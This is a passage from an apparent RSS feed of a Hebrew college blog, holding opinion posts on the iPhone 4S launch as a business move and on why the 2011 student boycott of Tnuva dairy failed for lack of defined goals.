וכך, שנה לאחר מכן (למעשה שנה ושלושה חודשים) שוב טקס השקה ואם אחרי ה 3G בא ה 3GS הרי שאחרי ה 4 צריך לבוא ה 4S – הגירסה ה"מחוזקת" של האיפון הרביעי.

המחשבה הנפוצה היא שאפל מוציאה כל שנה דגם כדי שמעריציה המושבעים ישדרגו את הדגם שבידם, אבל למעשה, מלבד קומץ פנאטים בעלי כיס עמוק מספיק, לא כך הדברים מתנהלים. בארה"ב (בדומה לישראל) המכשירים נמכרים במחיר מסובסד אצל המפעילות ביחד עם חוזה לשנתיים. זה אומר שאנשים שקנו את האיפון 4 עדיין לא סיימו את החוזה שלהם, אבל אלו שעדיין מחזיקים במכשירי ה 3GS (והקומץ שעדיין מחזיק ב 3G) כבר מוכנים ומזומנים לרכוש מכשיר חדש של אפל.

איפון 4S פה לא כי באפל לא רוצים לעשות את האיפון 5 המהולל. איפון 4S פה כי יש עדיין נתח שוק פוטנציאלי ענק של אנשים שיקנו אותו כשלב עד שיצא האיפון 5. אפל יודעת שכשיצא האיפון 5 יבוא גל עצום של קונים, אבל רגע לפני שאלו מסתערים, למה לא, בדיוק כמו עם האיפון הראשון, לעשות קופה על אלה שעוד לא הבינו את זה?

אפל איכזבה? רק את מי שלא למד מלקחי העבר.

לדרג את הפוסט
0

הפוסט iכזבה? לגמרי מהלך עיסקי פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2252/feed 2 2252
כשאין יעדים, אין הצלחות https://n2b.org/archives/2246 https://n2b.org/archives/2246#respond Tue, 20 Sep 2011 15:28:41 +0000 http://n2b.org/?p=2246 דומה שבימים האחרונים, יש לתוכניות החדשות תחביב חדש – ניגש אל הסופר הקרוב, נדחוף מצלמה לפרצוף של אנשים שהעיזו לרכוש מוצרים של תנובה ונשפיל אותם אל מול הצופים. למה? כי כשלכולם ברור שבחרם הזה תנובה ניצחה, מחפשים את האשמים והרבה יותר קל להאשים את הצרכן הקטן מאשר את "הנהגת החרם" המאורגנת, גם הרבה יותר נוח […]

הפוסט כשאין יעדים, אין הצלחות פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
דומה שבימים האחרונים, יש לתוכניות החדשות תחביב חדש – ניגש אל הסופר הקרוב, נדחוף מצלמה לפרצוף של אנשים שהעיזו לרכוש מוצרים של תנובה ונשפיל אותם אל מול הצופים. למה? כי כשלכולם ברור שבחרם הזה תנובה ניצחה, מחפשים את האשמים והרבה יותר קל להאשים את הצרכן הקטן מאשר את "הנהגת החרם" המאורגנת, גם הרבה יותר נוח לתפוס אותו ברגע לא נוח ולקרבן אותו מבלי שיוכל להתגונן.

כשאושרו התקנות של הפיילוט לתעודת הזהות הביומטרית, הזדעקו כולם – איך עושים פיילוט בלי להגדיר מדדים ויעדים? כאשר תעבור התקופה, כיצד ידעו לבדוק את התוצאות ולהגיד האם הפיילוט היה הצלחה או כישלון? את אותה הטעות, לדעתי, עשו פה עם חרם הסטודנטים על תנובה – חוסר הבנה בעיקר, גרמו לחרם ריק מתוכן שמהותו תקשורתית בעיקר כדי לייצג את האגודה כגוף אקטיבי.

אז למה החרם נידון לכישלון?

בימים הראשונים, העסק נראה מבטיח, אחוזי המכירות של תנובה נפלו בצורה משמעותית והצרכנים אכן פנו למוצרים של המתחרים. אחרי יומיים הבינו בתנובה את הרעיון, קיצצו במחירים, הצמידו 2 במחיר אחד ופוצצו את הבועה – כאן בדיוק היה סופו של החרם.

אני מגיע ממשפחה ברוכת ילדים – 5 ילדים, זוג הורים – סה"כ – 7 נפשות. למי שלא מכיר או לא יודע איך נראה סל קניות של משפחה מרובת נפשות הרשו לי לתת לכם טעימה מהרשימה השבועית שלנו:

24 קרטוני חלב עמיד – כי כמויות החלב שהולכות על קורנפלקס, קפה ושוקו הן אדירות.
5 קרטוני ביצים – כי 7 ביצים לכל ארוחת בוקר במשך שבוע זה קצת יותר מ 4 קרטונים.
5 כיכרות לחם – כי 5 ילדים הולכים לבית ספר וצריכים גם סנדוויץ' לארוחת צהריים.
7 גביעי קוטג', 7 גביעי גבינה לבנה, 5 חבילות של גבינה צהובה וכמות דו ספרתית מכובדת של מעדנים מסוגים שונים (דני, גיל, אשל, פרילי וכ')

אחד הדברים הראשונים שההורים שלי לימדו אותי כשהלכתי לעשות קניות בסופר היה העובדה שאלא אם יש מוצר ספציפי שאין לו מתחרים הרי שלמותג עצמו אין שום חשיבות – הדבר שהכי חשוב לבדוק זה את היחס בין הכמות – למחיר.

אז עכשיו, גשו לסופר הקרוב למקום מגוריכם, קחו איתכם מחשבון ועשו בעצמכם את החשבון של סל הקניות המדובר – פעם אחת לפי כללי החרם ופעם אחת לפי כללי הצרכנות הנבונה. אתם לא באמת חייבים ללכת, אני יכול להבטיח לכם שבתקופת ה"חרם" הסל הפך להיות זול משמעותית אם קונים מוצרי תנובה.

אדגיש שוב – מדובר בקניה שבועית, כלומר כל שבוע, למקרה שפיספסתם או אינכם מצליחים לתפוס את הכמויות המדוברות.

כשסטודנטים מנהלים חרם ומסתכלים על רשימת המכולת שלהם, החיסכון הוא דל – בין 2 ל 5 שקלים. כשמשפחה מרובת ילדים מבצעת רכישה כזו – אנחנו מדברים על סכום שיכול להגיע לעשרות נאות של שקלים. כשמדובר בעשרות שקלים כל שבוע, פתאום החשבון הוא אחר. אם "משפחה ממוצעת" עם 2 ילדים כורעת תחת נטל הקניות, תחשבו מה עובר על משפחה של 5 ילדים שחיה מתקציב דומה.

כפי שכבר אמרתי – החרם הזה כוון כהפגנת שרירים אל מול תנובה. המטרה שלא לא הייתה להוריד את מחירי החלב אלא להתנגח בתנובה. וכמו שאומרים בצבא – כשאתה משתין על צה"ל הוא נרטב, כשצה"ל משתין עליך – אתה טובע.
כן, תנובה הרגישה ירידה במכירות, אל תדאגו לה, את העודפים היא חילקה כתרומה ותקבל על זה זיכוי מהמדינה. הקטע המצחיק / עצוב הוא שאותם "עודפים" שדווחו כ"תרומה" הם בדרך כלל מוצרים פגי תוקף שאמורים ללכת להשמדה. אם תספרו לי מחר שתנובה תרמה את אותם מוצרים שהיא דיווחה שהיא השמידה ובכך אפילו זכתה לזיכוי כפול, אני לא אתפלא.

הבעיה בחרם בלי יעדים, כפי שכבר אמרתי, הוא שאי אפשר להכריז על ניצחון. כשההגדרה של החרם היא – חרם של שבועיים – אז השבועיים הללו יעברו והמצב יחזור לקדמותו. היות והחרם היה כלפי תנובה בלבד הרי שמתחרותיה יכלו להשאיר את המחיר על כנו – עכשיו, מכשיסתיים החרם, תצמיד תנובה את המחיר של מוצריה אל מוצרי המתחרות, או במילים אחרים – די למבצעים וחזרה למחירים הקודמים.

אם לעומת זאת, החרם היה מוגדר עד הורדת סף המחיר, הרי שאחרי יומיים הייתה יכולה אגודת הסטודנטים להכריז על ניצחון. פעולה נוספת שהאגודה הייתה יכולה (וצריכה) לעשות היא להעביר את החרם לאחת מהמתחרות עד שזו תוריד גם היא את המחירים. בצורה כזו, בתוך מספר ימים היו המחירים של מוצרי החלב יורדים אצל כל שלושת החברות ומשתווים על סף המחיר הנמוך יותר.

וכשנגמר החרם? בעיקרון כל חברה תוכל להרים את המחירים מחדש, מצד שני, אם שתי החברות האחרות מוכרות ב X החברה הראשונה שתרים את המחיר תהיה זו שתספוג את מירב ההפסדים, לפחות עד שהקרטל יתאגד ויצמיד את המחירים של החברות האחרות.

לדרג את הפוסט
0

הפוסט כשאין יעדים, אין הצלחות פורסם על ידי ~ניצן~ בבלוג המכללה

]]>
https://n2b.org/archives/2246/feed 0 2246